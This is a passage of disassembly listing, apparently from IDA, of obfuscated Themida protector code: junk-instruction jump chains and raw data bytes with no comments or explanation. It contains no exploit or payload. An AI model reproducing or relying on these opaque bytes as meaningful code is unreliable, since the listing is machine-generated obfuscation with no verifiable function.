		dd 0AF96858h, 1C890000h, 0E9E38924h, 0FFFFCFB3h
; ---------------------------------------------------------------------------


loc_58E274:				; CODE XREF: Themida_:00584FABj
		pop	esp
		push	ecx
		jmp	loc_5884B3
; ---------------------------------------------------------------------------
		db 8Fh
		dd 685C2404h, 2DAAh, 0E9241489h, 0DB1h
; ---------------------------------------------------------------------------


loc_58E28C:				; CODE XREF: Themida_:0058BC48j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_588912
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 0FF9B82E9h
		db 0FFh
byte_58E2A1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005843DCo
aHsk		db '$háK',0
		align 2
		dw 1C89h
		dd 34FF5424h, 0CFEDE924h, 0C981FFFFh, 5AF814A1h, 0FFD5D9E9h
		dd 242C33FFh, 0FF654FE9h, 24F368FFh, 8F540000h,	0ABE92404h
		dd 8BFFFFB2h, 8B662424h, 0BF68240Ch, 8900005Ch,	5E68241Ch
		dd 0E9000075h, 0FFFF7CFDh
; ---------------------------------------------------------------------------


loc_58E2F0:				; CODE XREF: Themida_:0058B824j
		mov	esp, [esp]
		jmp	loc_58BD2E
; ---------------------------------------------------------------------------
		dd 895DE801h, 6EE958C1h, 0FF00000Fh, 8B042474h,	0C483241Ch
		dd 24048F04h, 48B665Ch,	9E59E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E31A:				; CODE XREF: Themida_:0058E661j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58DCA8
; ---------------------------------------------------------------------------
		db 66h,	68h, 58h
		dd 4896615h, 6141E924h,	3489FFFFh, 0E6895624h, 4C681h
		dd 0EE830000h, 24348704h, 0AB11E95Ch, 0CE68FFFFh, 0E9000001h
		dd 0FFFFB342h, 24148B54h, 5104C483h, 4EC81h, 34890000h
		dd 1BA36824h, 0D3E94CB6h, 5FFFFFD1h, 2BE56h, 0F2010000h
		dd 2414875Eh, 6824248Bh, 6452h,	68241C89h, 0
		dd 5B2434FFh, 0FFFD7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E395:				; CODE XREF: Themida_:005884F1j
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	dword ptr [edi+20h], 6D4746D6h
		jmp	loc_58C20D
; ---------------------------------------------------------------------------
		db 68h,	57h, 20h
		dd 0C158051Dh, 32E904E0h
		db 65h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E3B7:				; CODE XREF: Themida_:005884E4j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_58E8D4
; ---------------------------------------------------------------------------


loc_58E3CA:				; CODE XREF: Themida_:00587D4Ej
		sub	dword ptr [esp+4], 48C12319h
		mov	ecx, [esp]
		jmp	loc_58C497
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5452240Ch, 4C2815Ah,	68000000h, 10F0h, 0FFB1BEE9h, 38B5DFFh
		dd 91BD555Bh, 8176DC7Ah, 0FFFFFFEDh, 1ABB53FFh,	8179C86Ah
		dd 9F697BF3h, 81EBD128h, 0D1785CF3h, 3AF38161h,	817C349Ch
		dd 44171FC5h, 81DD2968h, 44171FEDh, 0ED815B68h,	49D9114Bh
		dd 8E9EDD1h
		db 8Bh,	2 dup(0FFh)
byte_58E437	db 0ADh			; DATA XREF: Themida_:00584394o
		dd 0FFC734E9h, 81F229FFh, 6C253EC2h, 2434FF62h,	4C4835Eh
		dd 8B241487h, 89662424h, 18E92404h, 5AFFFF60h, 0FF88FDE9h
		dd 814E59FFh, 570DB8C6h, 5EF301F0h, 8904EC83h, 0E9542414h
		dd 0FFFFBF54h, 895DEB89h, 0A4E95BD8h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E483:				; CODE XREF: Themida_:0058A828j
		mov	ch, 0
		jmp	loc_58758F
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8704EA83h, 248B2414h, 24048924h, 0FF5FD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E4A1:				; CODE XREF: Themida_:0058AE5Bj
		sub	ecx, 1DE6579Eh
		pop	ebx
		sub	[edi+24h], ecx
		jmp	loc_58780F
; ---------------------------------------------------------------------------
dword_58E4B0	dd 24148766h, 0E51E9h		db 0
byte_58E4B9	db 0ADh, 53h, 0BBh	; DATA XREF: Themida_:00584390o
		dd 745C4A35h, 0E95BD829h, 0FFFF627Ah
; ---------------------------------------------------------------------------


loc_58E4C8:				; CODE XREF: Themida_:0058B0C2j
		push	eax
		mov	ah, 0A3h
		or	bl, ah
		pop	eax
		jmp	loc_5878EC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2BF5751h, 0E90AAB36h, 0FFFF8BAEh, 0E924248Bh, 0FFFF5F8Bh
; ---------------------------------------------------------------------------


loc_58E4E8:				; CODE XREF: Themida_:0058614Bj
		sub	al, bh
		mov	bx, [esp]
		add	esp, 2
		add	al, 71h
		sub	al, bl
		push	ebx
		mov	bl, 71h
		sub	al, bl
		jmp	loc_58A814
; ---------------------------------------------------------------------------


loc_58E502:				; CODE XREF: Themida_:00587813j
		push	14C6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58D5CA
; ---------------------------------------------------------------------------
		db 0B8h
		dd 30h,	3D6AEE2Dh, 42E976h, 48F0000h, 24048324h, 243C8B04h
		dd 0CC21E951h, 4FB0FFFFh, 2858C728h, 0D8005BF8h, 19B45051h
		dd 2C58E188h, 0C42CB9h,	0B65266C8h, 0E9F000C4h,	135h, 3109D1BBh
		dd 4FEB8145h, 0E962EE18h, 0FFFFD897h, 168D001h,	89000005h
		dd 0FCBD242Ch, 8152AD71h, 901B12F5h, 0FFE80124h, 815D2434h
		dd 4C4h, 92685300h, 5B1A2217h, 25DDF381h, 0F3816C87h, 76A5324Fh
		dd 0B951h, 0C1010000h, 0B850h, 8A2D0000h, 1455F2Eh, 9EA9E9C8h
		dd 0B0E9FFFFh, 33FFFF5Eh, 14312414h, 24143324h,	0F6E9575Ch
		dd 83FFFFE1h, 0A5F304C4h, 0FFC176E9h, 0BDE95CFFh, 53000012h
		dd 0C3815B54h, 4, 4C381h, 1C330000h, 241C3124h,	5C241C33h
		dd 4EC81h, 1C890000h, 2BB24h, 0DA010000h, 2414335Bh, 33241431h
		dd 665C2414h, 9C240CFFh, 0FF5E52E9h, 0A2C681FFh, 898F1DA7h
		dd 24348BF0h, 0E904C483h, 0FFFFF9DEh
; ---------------------------------------------------------------------------


loc_58E634:				; CODE XREF: Themida_:00584485j
		add	ebp, ebx
		push	eax
		mov	eax, 50E57CC4h
		jmp	loc_590476
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 815A0000h, 0D31DE2E7h, 727E917h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58E656:				; CODE XREF: Themida_:0058DCA3j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_58E31A
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 667699A7h, 0FFDD19E9h, 53515CFFh, 0F3E99EB7h
		db 9, 2	dup(0)
byte_58E67B	db 0FFh			; DATA XREF: Themida_:005841C0o
		dd 669D1C77h, 1CD36659h, 0E8E99C24h, 0BBFFFF5Dh, 424640DBh
		dd 0FFB684E9h, 515A66FFh, 0C800B9B1h, 0FFA399E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58E6A1:				; CODE XREF: Themida_:0058F349j
		mov	edx, 10h
		and	ebx, edx
		push	dword ptr [esp]
		jmp	loc_587BE7
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 0A15CE5h, 0FFC7BFE9h
		db 0FFh
byte_58E6BD	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:0058435Co
		dd 0B1515352h, 9C83E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E6CA:				; CODE XREF: Themida_:00587887j
		pop	esp
		or	ebp, 29B0F70h
		jmp	loc_589BAD
; ---------------------------------------------------------------------------
		dw 0AEB6h
		dd 5A66F128h, 0FF9AE8E9h, 5AD300FFh, 0E380CBFEh, 1AF380ADh
		dd 77E90004h, 54FFFFF0h, 0E9243C8Bh, 0FFFF6FA3h
; ---------------------------------------------------------------------------


loc_58E6FC:				; CODE XREF: Themida_:0058717Bj
		add	edx, 4
		push	esi
		mov	esi, 4
		jmp	loc_58FB23
; ---------------------------------------------------------------------------


loc_58E70D:				; CODE XREF: Themida_:0058A484j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_58DD90
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 4C481h, 89500000h,	405E0h,	0C0E90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E73F:				; CODE XREF: Themida_:0058D3FDj
		pop	edx
		or	eax, eax
		jz	loc_5882C2
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 538B706Bh
		xor	[esp+4], esi
		pop	esi
		pop	ecx
		jmp	loc_58F6DA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0D1h
		dd 2125FE00h, 0E9815BD9h, 8DF8B1CCh, 5D59C801h,	0F66C331h
		dd 96800B6h, 0E900002Bh, 155Bh,	0C8BCF01h, 4C48324h, 61BA5256h
		dd 0E95EC622h, 0FFFFC8B2h, 68241C89h, 6869h, 1F8E9h
		db 0
byte_58E7A5	db 66h,	8Bh, 4		; DATA XREF: Themida_:005842C0o
		dd 7C2FE924h, 0C0E9FFFFh
		db 5Ch,	2 dup(0FFh)
byte_58E7B3	db 81h			; DATA XREF: Themida_:00584274o
		dd 4ECh, 0CE95400h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58E7BF:				; CODE XREF: Themida_:0058B912j
		push	2662h
		mov	[esp], ecx
		jmp	loc_587D25
; ---------------------------------------------------------------------------
		dd 0F26CEE81h, 0F3296BCFh, 0E27CE95Eh, 94E9FFFFh, 81FFFF5Ch
		dd 4242D6C6h, 55FE2912h, 6069C3BDh, 0E9ED811Ch,	0C16DAA2Ah
		dd 0E58105E5h, 20746534h, 3D6F581h, 0EE291206h,	0FFE386E9h
		dd 240C33FFh, 33240C31h, 0F4E9240Ch
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E817:				; CODE XREF: Themida_:0058BCFCj
		push	edx
		jmp	loc_585CFE
; ---------------------------------------------------------------------------


loc_58E81D:				; CODE XREF: Themida_:00588A79j
		push	dword ptr [esp]
		jmp	loc_584BD4
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0F7h
		dd 0EDEF81DFh, 8199AB0Bh, 7708DAE9h, 81F90150h,	7708DAC1h
		dd 0B381E950h, 5066FFFFh, 2A49B866h, 0D04E9h, 88EC8800h
		dd 0EEE958E2h, 58FFFF61h, 0FFFC2DE9h, 80CFFEFFh, 0C780D3CFh
		dd 87C7803Eh, 0E95BF830h, 0FFFFD7BAh, 2414895Ch, 1AE9E289h
		dd 5000002h, 4,	405h, 24048700h, 240C335Ch, 33240C31h
		dd 248B240Ch, 48B6624h,	9C58E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E89E:				; CODE XREF: Themida_:0058A607j
		add	ebx, 10012FBEh
		sub	ebx, 20B82844h
		pop	eax
		xor	ecx, ebx
		pop	ebx
		shr	ecx, 6
		shl	ecx, 7
		xor	ecx, 59B27684h
		mov	edi, ecx
		pop	ecx
		and	ecx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_58D082
; ---------------------------------------------------------------------------
		dd 0D324248Bh, 0E99C2424h, 0FFFF5B9Fh
; ---------------------------------------------------------------------------


loc_58E8D4:				; CODE XREF: Themida_:0058E3C5j
		push	dword ptr [edi+24h]
		push	ebx
		mov	ebx, esp
		jmp	loc_58BFF7
; ---------------------------------------------------------------------------
		db 1
		dd 57BA52D3h, 816DD474h, 667197EBh, 81D3293Eh, 667197C3h
		dd 1585E93Eh, 0C2200000h, 80CAFE58h, 0D030E8EAh, 5724148Bh
		dd 0B8E9E789h, 24FFFF7Dh, 880034CAh, 2434FFC6h,	72B3E958h
		dd 48BFFFFh, 4EC8124h, 89000000h, 0E0892404h, 405h, 4C08300h
		dd 5C240487h, 1051E9h
		db 0
byte_58E93D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005843F8o
		dd 45F6824h, 0E0E90000h, 0FFFFFF7Eh, 0C8B2434h,	4C48124h
		dd 0E9000000h, 928h
; ---------------------------------------------------------------------------


loc_58E95C:				; CODE XREF: Themida_:0058CF5Bj
		push	ecx
		mov	ecx, 4
		jmp	loc_584655
; ---------------------------------------------------------------------------
		db 81h
		dd 30EF9EEh, 0C6814E0Dh, 0FD9A112Dh, 348BF189h,	10AEE924h
		dd 0E9560000h, 0FFFFA251h, 99E95E51h, 81FFFFC1h, 4C4h
		dd 90BB5300h, 4B7CD753h, 0FF6C87E9h, 241C89FFh,	0E93A00BBh
		dd 246C8139h, 0E8600904h, 245C0163h, 24448104h,	0E8600904h
		dd 515F5B63h, 0FF9E88E9h, 0E9C828FFh, 1D15h
dword_58E9C8	dd 9D1C77FFh, 1CD25966h, 9CE99C24h		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E9D7:				; CODE XREF: Themida_:0058B489j
		pop	ecx
		pop	eax
		jmp	loc_58D248
; ---------------------------------------------------------------------------
		dw 0F929h
		dd 240C875Fh, 240C895Ch, 8EE95954h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58E9EF:				; CODE XREF: Themida_:0058DCD6j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58FC10
; ---------------------------------------------------------------------------


loc_58EA00:				; CODE XREF: Themida_:0058D681j
		push	1316h
		mov	[esp], ebp
		push	420790Eh
		pop	ebp
		jmp	loc_586198
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38300h, 0E9241C87h, 0FFFF901Ah
; ---------------------------------------------------------------------------


loc_58EA24:				; CODE XREF: Themida_:0058867Cj
		add	esp, 4
		jmp	loc_588528
; ---------------------------------------------------------------------------
		db 52h
		dd 0F188C688h, 0CB28585Ah, 83240C8Bh, 0C30004C4h, 52FEC380h
		dd 0EAC01CB2h, 6EEA8005h, 8055CA80h, 0F28033F2h, 9DE7E9EDh
		dd 5B59FFFFh, 8324048Bh, 0CCE904C4h, 8BFFFFAAh,	8951240Ch
		dd 4C181E1h, 83000000h,	0C8704C1h, 0EE47E924h, 0C981FFFFh
		dd 79505E5Bh, 154AF181h, 3EE93538h, 55FFFFBAh, 0FF785CE9h
		dd 0F4B850FFh, 0C112E67Bh, 0E8C105E8h, 0CE48E907h, 0B850FFFFh
		dd 67D439EBh, 2E25D8F7h, 35213626h, 0B8B3FD03h,	0E958C331h
		dd 0FFFFA19Bh, 34FFF101h, 24348B24h, 4C481h, 0E9500000h
		dd 1902h
; ---------------------------------------------------------------------------


loc_58EAD4:				; CODE XREF: Themida_:00588F9Aj
		shr	edx, 5
		add	edx, 4F52C4BBh
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_58ABEC
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0DBF7DBF7h, 0D713C381h, 0DF013B86h, 51C7015Bh, 735C52B9h
		dd 8A8E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58EB02:				; CODE XREF: Themida_:0058A83Cj
		xchg	ebp, [esp]
		pop	esp
		and	[edi+1Ch], eax
		mov	eax, [esp]
		jmp	loc_589897
; ---------------------------------------------------------------------------


loc_58EB11:				; CODE XREF: Themida_:00589446j
					; Themida_:005900E8j
		push	1B14h
		jmp	loc_5886A0
; ---------------------------------------------------------------------------


loc_58EB1B:				; CODE XREF: Themida_:0058CB69j
		mov	edi, esi
		pop	esi
		add	ebx, edi
		jmp	loc_58A5D1
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 46h
		dd 3110A7F7h, 8522E9D9h, 8B54FFFFh, 0C481243Ch,	4, 56BE9h
		dd 24248B00h, 0FF592AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58EB49:				; CODE XREF: Themida_:0058D028j
		neg	ecx
		jmp	loc_58C9B2
; ---------------------------------------------------------------------------
		dd 243C895Ch, 35543BBFh, 0BBEF815Dh, 1F72097h, 243C8BF8h
		dd 8304C483h, 1C8904ECh, 12E95724h, 89FFFF96h, 4812424h
		dd 424h, 0BB535900h, 30F64AEDh,	2F44C381h, 0E95317F8h
		dd 0FAEh, 0DDE0F281h, 0D029B0D2h, 242C8B5Ah, 2D04C483h
		dd 3B8D0822h, 2205D829h, 53B8D08h, 33E36CC7h, 81241C8Bh
		dd 4C4h, 0A7BD5500h, 81522849h,	102EF3C5h, 5DEB29F2h, 8950C329h
		dd 405E0h, 42D0000h, 87000000h,	248B2404h, 64C9E924h, 0C481FFFFh
		dd 4, 0CF8E9h, 4C48100h, 57000000h, 0C781E789h,	4, 4B850h
		dd 0C7010000h, 6307E958h
		db 2 dup(0FFh)
word_58EC0A	dw 8B66h		; DATA XREF: Themida_:00584360o
		dd 8953240Ch, 0B47BE9E3h, 0BC68FFFFh, 89000024h, 0D968242Ch
		dd 54000067h, 0E924048Fh, 0FFFF82BAh, 0D01BE951h, 0E953FFFFh
		dd 0FFFFF6CBh, 56EB015Eh, 0C115BBEh, 54E68101h,	8154D774h
		dd 0E827BBF6h, 10CE815Ch, 8175087Ch, 910397EEh,	0A4E916h
		dd 9BBF0000h, 89627E51h, 0E9465FFEh, 0FFFFF005h, 3BED814Dh
		dd 0E9AC9722h, 3Ah, 317AC781h, 0BE565887h, 40FB50E1h, 0F1D8E953h
		dd 814EFFFFh, 9904CFCEh, 0E6814E18h, 3A4F6005h,	6000EE81h
		dd 0F5893A4Dh, 0FF7F8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58ECA5:				; CODE XREF: Themida_:00586481j
		add	dword ptr [esp+4], 3CEB3783h
		jmp	loc_588DEF
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 4C7815Dh, 33000000h,	3C31243Ch, 243C3324h, 6D072D5Ch
		dd 57510B76h, 0FF8A6BE9h, 240489FFh, 0C6BBB53h,	0D8894F96h
		dd 4E8C15Bh, 5503E8C1h,	2249DABDh, 8BE8314Ch, 5455242Ch
		dd 4C5815Dh, 83000000h,	2C8704C5h, 0E2B9E924h, 0F329FFFFh
		dd 0A7E95D5Eh
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58ED0B:				; CODE XREF: Themida_:00588B7Aj
		add	edx, 4
		jmp	loc_58A105
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 0EB284AC3h, 594AEB80h, 0FFD3B6E9h, 3363BFFFh, 0BD555B7Eh
		dd 717A1441h, 0FF669FE9h, 4BE56FFh, 1000000h, 0EE0BE9F3h
		dd 0F531FFFFh, 19DEB95Eh, 0E9811A63h, 988138Ch,	0FF7770E9h
		dd 240487FFh, 2404895Ch, 0FF768AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58ED61:				; CODE XREF: Themida_:0058769Dj
		xchg	eax, [esp]
		pop	ebx
		and	ebx, 9C24174h
		jmp	loc_5849C9
; ---------------------------------------------------------------------------
		dd offset dword_49457C+11EECh
		dd 240C8900h, 0FF6A51E9h, 6AE953FFh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58ED83:				; CODE XREF: Themida_:00588201j
		add	ebp, eax
		jmp	loc_588A48
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1FF66179h, 0EA81CA29h, 1FF66179h, 815AD187h,	4ECh, 242C8900h
		dd 6402D2BDh, 45C2684Fh, 34890000h, 3CF6824h, 215E1BC0h
		dd 0BE565EF5h, 3D50594Ah, 5818EE81h, 0DEF74E89h, 5CE2E681h
		dd 0F6811B30h, 5E580F2h, 0E95EF529h, 0FFFFE171h
dword_58EDDC	dd 0E932FF66h, 0FFFF568Fh, 0F750D8F7h, 0BAE92414h
					; DATA XREF: Themida_:0058436Co
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EDEF:				; CODE XREF: Themida_:0058DC47j
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 435D319Eh
		xor	edx, 56353A07h
		sub	eax, edx
		pop	edx
		push	13D6h
		mov	[esp], ecx
		push	edx
		push	esi
		jmp	loc_59055E
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0C33028B0h, 0FFD7B5E9h, 4C083FFh, 8B240487h,	89562424h
		dd 515652E6h, 694C05B9h, 0EECAE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EE36:				; CODE XREF: Themida_:0058D705j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		jmp	loc_58FA55
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5F04h, 5E41E924h,	0C183FFFFh, 240C8704h, 0FF65B5E9h
		dd 3868FFh, 15B0000h, 0B96CE9FBh, 8950FFFFh, 0BE2BE9E0h
		db 2 dup(0FFh)
word_58EE72	dw 8B66h		; DATA XREF: Themida_:005842F8o
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_58BACB
; ---------------------------------------------------------------------------
		dw 8959h
		dd 4E355AD0h, 0E952A849h, 0FFFFD1C4h, 6866535Ah, 89660F59h
		dd 5BB1240Ch, 8B66CF88h, 8956240Ch, 4C681E6h, 52000000h
		dd 2BAh, 5AD60100h, 2474FF56h, 48F5E04h, 72C5C24h, 704F800h
		dd 5B2434FFh, 81E78957h, 4C7h, 0A30DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EED2:				; CODE XREF: Themida_:00587873j
		mov	esp, [esp]
		shr	eax, 8
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		xchg	edx, ebx
		push	eax
		jmp	loc_585B34
; ---------------------------------------------------------------------------


loc_58EEE8:				; CODE XREF: Themida_:0058AC7Bj
		mov	[esp], eax
		push	edx
		mov	edx, 2
		mov	eax, edx
		pop	edx
		sub	ebx, 147D1062h
		add	ebx, eax
		add	ebx, 147D1062h
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_58F91E
; ---------------------------------------------------------------------------


loc_58EF0B:				; CODE XREF: Themida_:0058DF32j
		push	ecx
		mov	ecx, 59CE224Dh
		or	ecx, 398440C6h
		add	ecx, 0E507A02h
		sub	ecx, 75129284h
		mov	esi, ecx
		jmp	loc_589F4D
; ---------------------------------------------------------------------------
		dw 0D501h
		dd 0E3C5E95Ah, 0E952FFFFh, 0FFFFF709h, 49E1BD55h, 0C2814C3Ch
		dd 430604F7h, 0EC81EA29h, 4, 0E9243C89h, 0FFFFE438h
; ---------------------------------------------------------------------------


loc_58EF54:				; CODE XREF: Themida_:005886C7j
		inc	ecx
		add	ecx, 0C1AB88ADh
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_58C324
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF87h, 3E95158h,	0BB000004h, 2CBF2026h, 3D21BA52h
		dd 0D321311Fh, 0A8F3815Ah, 0C1091D2Ch, 0EB8106EBh, 57B913ECh
		dd 0A42CB81h, 68567A6Bh, 5984504Fh, 5EF3015Eh, 0E95BDF01h
		dd 0FFFFC76Ch
dword_58EFAC	dd 240C8B66h, 0FFB192E9h, 8BC600FFh, 0BDE92404h
					; DATA XREF: Themida_:00584194o
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58EFBF:				; CODE XREF: Themida_:005896B6j
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4BC2665Bh
		add	[esp+4], ecx
		pop	ecx
		add	[esp], eax
		sub	dword ptr [esp], 4BC2665Bh
		add	dword ptr [esp], 750E25AFh
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dd 7725E95Dh, 0B551FFFFh, 1FED8061h, 0FFBC0DE9h, 5C21BBFFh
		dd 0DD8936EDh, 8B59555Bh, 0C481242Ch, 4, 0EBE9CD01h, 50000001h
		dd 0FF7A30E9h, 5AD501FFh, 4BA52h, 0ED810000h, 35B12CC6h
		dd 0E951D529h, 0FFFFC440h
; ---------------------------------------------------------------------------


loc_58F02C:				; CODE XREF: Themida_:00586840j
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_58CCD8
; ---------------------------------------------------------------------------
		db 55h,	89h, 0CDh
		dd 0FF9CE5E9h, 0E9BCB4FFh, 0FFFFC8F0h, 0E95A5452h, 0FFFFA6B6h
; ---------------------------------------------------------------------------


loc_58F054:				; CODE XREF: Themida_:00588594j
		pop	ecx
		jmp	loc_58567E
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 5B9A7FA2h, 565CE781h, 4F4740C8h, 142BE952h, 0CDB50000h
		dd 9FE9FD00h, 53FFFFFCh, 1063CABBh, 16C38175h, 0E95DA458h
		dd 0FFFFFA1Eh, 8108E3C1h, 9C1835E3h, 4C3810Dh, 1F37BE8h
		dd 0C335BD9h, 0DB86E924h, 8851FFFFh, 0E9CC88D9h, 16A3h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 1D17C281h,	0DA0154C5h
		dd 1D17EA81h, 835B54C5h, 148702EAh, 89665C24h, 0D4E9240Ch
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58F0DB:				; CODE XREF: Themida_:005902F5j
		mov	ebx, [esp]
		jmp	loc_588382
; ---------------------------------------------------------------------------
		db 51h
		dd 544DF9B9h, 0F5E98136h, 8136544Dh, 1A612EC2h,	53CA0100h
		dd 1A612EBBh, 5BDA2900h, 24148759h, 2434FF5Ch, 0E1895158h
		dd 4C181h, 0E9830000h, 240C8704h, 2434895Ch, 6851E689h
		dd 0DEB7B61h, 67E98159h, 810D7D10h, 597BAEC1h, 8E9C108h
		dd 8108E1C1h, 0C7E604F1h, 0FFCE0108h, 0E9592434h, 0FFFFBD3Ah
		dd 58B5C380h, 0AFC380h,	0AFEB80C3h, 2E3B68h, 24148900h
		dd 5DE268h, 0C122E900h,	0E952FFFFh, 0FFFF601Eh,	53E9F028h
		dd 3100000Ch, 1C33241Ch, 0A7AE924h, 14890000h, 78BB5324h
		dd 0BA200D66h, 200D667Ch, 0FF6F12E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F191:				; CODE XREF: Themida_:0058C7A4j
		and	edi, 67015B8Eh
		push	edx
		mov	edx, 4BCE15DBh
		jmp	loc_58CCE6
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 356306D4h, 465AD689h, 98BB5346h, 0F7493C76h,	8AE94BD3h
		dd 0E9FFFFE9h, 0FFFF52B3h, 52F3E781h, 0E94F7C37h, 0FFFF8ED1h
		dd 4A497F2Dh, 4EC814Bh,	89000000h, 80E9241Ch
		db 87h,	2 dup(0FFh)
byte_58F1DF	db 8Fh			; DATA XREF: Themida_:005843C4o
		dd 528DE902h, 0C681FFFFh, 0DB544BAh, 0FFC1D1E9h, 5AD589FFh
		dd 0E6D1E94Dh, 8159FFFFh, 222EDBF5h, 5DEE01A5h,	4C681h
		dd 0FF560000h, 0E9042474h, 10A2h
dword_58F214	dd 0E92434FFh, 0FFFFB022h, 2BF1ED81h, 335B4645h, 2C31242Ch
					; DATA XREF: Themida_:005842FCo
		dd 242C3324h, 8B24248Bh, 89512414h, 0EC8150E1h,	4, 68243C89h
		dd 6BC41169h, 0F7EF875Fh, 0E9EF87D5h, 0FFFFFA28h, 50FD8851h
		dd 0FFF5F4E9h, 4E6568FFh, 2C890000h, 5A06BD24h,	0BE566D45h
		dd 1B4C311Fh, 0FFE001E9h, 0D7C181FFh, 0F7701229h, 41D9F7D1h
		dd 0E904E9C1h, 0FFFF9B9Ch, 4EC8155h, 0E9000000h, 6D0h
		dd 8704C083h, 835C2404h, 1C3302C3h, 241C3124h, 5C241C33h
		dd 9C2404FEh, 0FF51C6E9h, 240433FFh, 0FF9733E9h, 37345BFFh
		dd 0CBE9E334h, 21FFFFAAh, 0C00B5DE8h, 0F080840Fh, 0B568FFFFh
		dd 8900005Ah, 6D682404h, 0E900004Bh, 0FFFF96D2h
; ---------------------------------------------------------------------------


loc_58F2DC:				; CODE XREF: Themida_:0058A718j
		mov	edi, 1A881C04h
		jmp	loc_58752C
; ---------------------------------------------------------------------------
		dw 0CC80h
		dd 79B151E0h, 2819C180h, 0E58859CCh, 0FFAAC4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F2F9:				; CODE XREF: Themida_:00585B09j
		not	byte ptr [esp]
		pop	edx
		xchg	dl, ah
		xor	ah, 5Eh
		or	ah, 56h
		jmp	loc_58588E
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 7E6866D2h, 1489664Dh, 74FF6624h, 8B660224h, 89532414h
		dd 20E951E3h, 0B9FFFFEEh, 4, 0FF572DE9h, 0D8295FFFh, 0B67E9h
		dd 0C3816600h, 58663BA2h, 0FF5F9BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58F345:				; CODE XREF: Themida_:00586EC8j
		pop	esp
		mov	[esp], edx
		jmp	loc_58E6A1
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 335EF701h, 3C31243Ch, 243C3324h, 6624248Bh, 8124048Bh
